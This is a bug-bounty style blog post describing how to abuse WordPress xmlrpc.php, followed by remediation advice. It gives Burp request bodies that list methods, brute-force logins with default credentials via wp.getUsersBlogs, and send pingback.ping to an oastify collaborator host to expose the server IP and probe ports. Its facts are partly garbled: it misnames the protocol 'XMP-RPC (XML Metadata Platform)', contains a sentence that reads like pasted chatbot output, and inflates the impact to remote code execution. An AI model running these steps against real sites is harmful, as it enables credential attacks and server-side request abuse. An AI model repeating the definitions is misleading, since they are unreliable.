Critical XMP-RPC Ping Back Vulnerability Found in Website: High Severity Exploitation Risk

Hello there! , Prabina Dalai here hope your doing great & having fun learning from the community .
You may have seen a/xmlrpc.php file in many wordpress sites that you visit, you may even have tried to find the error (the XML-RPC server accepts POST.

What is XML-RPC: Developers can create programmers (for you) that can perform many of the tasks you can perform while signed into WordPress using the web interface thanks to the XML-RPC API that WordPress offers. These consist of:

put up a post
Change a post
Remove a comment.
Publish a new file, such as a picture for a blog post.
Obtain a list of remarks
Edit remarks

Defination:

XMP-RPC (XML Metadata Platform — Remote Procedure Call) ping back vulnerability refers to a security issue that affects websites utilizing the XMP-RPC protocol. Without knowing the specific details of the vulnerability you discovered, I can provide you with general information about the potential impact and remediation steps.

Step 1: Change Method Visit Site : https://target.com/xmlrpc.php Error Page Shown Post Only.

Step 2: Intercept with Burpsuite Change Method GET to POST

Step 3: you can see 200 OK. Respone we can see

<?xml version=”1.0" encoding=”UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>

Step 4: Once done Request Paste the value Given Below

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Step 5 : Here we can See all method available ping back as well .

Step 6: Try default username password with using wpscan user enumeration

Step 7: if you find any error 403 Forbidden So do BruteForce attack to find valid username password .Default one also Recommend.

Step 8: we can see as given Below.

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Step 9:Now we can Try pingback xml-rpc so your Server IP follwed by port number and value parameter also given tagets blog URL

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://wcc0132r75koedvoksd00wwg67cx0m.oastify.com:80</string></value>
</param><param><value><string>https://www.targets.com</string>
</value></param></params>
</methodCall>

Step 10: Using burp collaborator client in my case find blind xmlrpc poll now you can find IP target Domain .

Step 11: in the response if you get an error code and a value greater than 0 (17), this means the port is open + you can check by.

Impact of XMP-RPC Ping Back Vulnerability:

Denial of Service (DoS): An attacker could exploit the vulnerability to launch DoS attacks, overwhelming the targeted website’s resources and making it unavailable to legitimate users.
Information Disclosure: The vulnerability might allow an attacker to access sensitive information, such as system details, server configurations, or user data.
Remote Code Execution (RCE): In some cases, a successful exploitation could enable an attacker to execute arbitrary code on the targeted server, leading to complete control of the system.
Remediation Steps for the Client:

Update and Patch: Advise the client to ensure that the website’s software and all related components are up to date. This includes the underlying server software, content management system (CMS), and any plugins or extensions used.
Disable Unused Functionality: If the XMP-RPC functionality is not necessary for the website’s operations, recommend disabling or removing it entirely to mitigate the vulnerability.
Implement Web Application Firewall (WAF): Deploy a WAF to filter and monitor incoming traffic, helping to identify and block potential attacks targeting the XMP-RPC vulnerability.
Regular Security Audits: Encourage the client to conduct periodic security assessments and penetration testing to identify any potential vulnerabilities and address them promptly.
Monitor Security Advisories: Stay updated with security advisories and notifications from the software vendors, CMS developers, and security communities to be aware of any specific patches or fixes related to XMP-RPC vulnerabilities.
It’s crucial to note that the specific remediation steps may vary depending on the website’s architecture, software stack, and the details of the vulnerability. Therefore, it is recommended to consult with a cybersecurity professional or a web developer who can analyze the specific situation and provide tailored guidance.

Thank You InfoSec Team

Prabina Dalai

Security Consultant ,Bug Hunter.

Visit Link: https://in.linkedin.com/in/prabina-dalai-132891194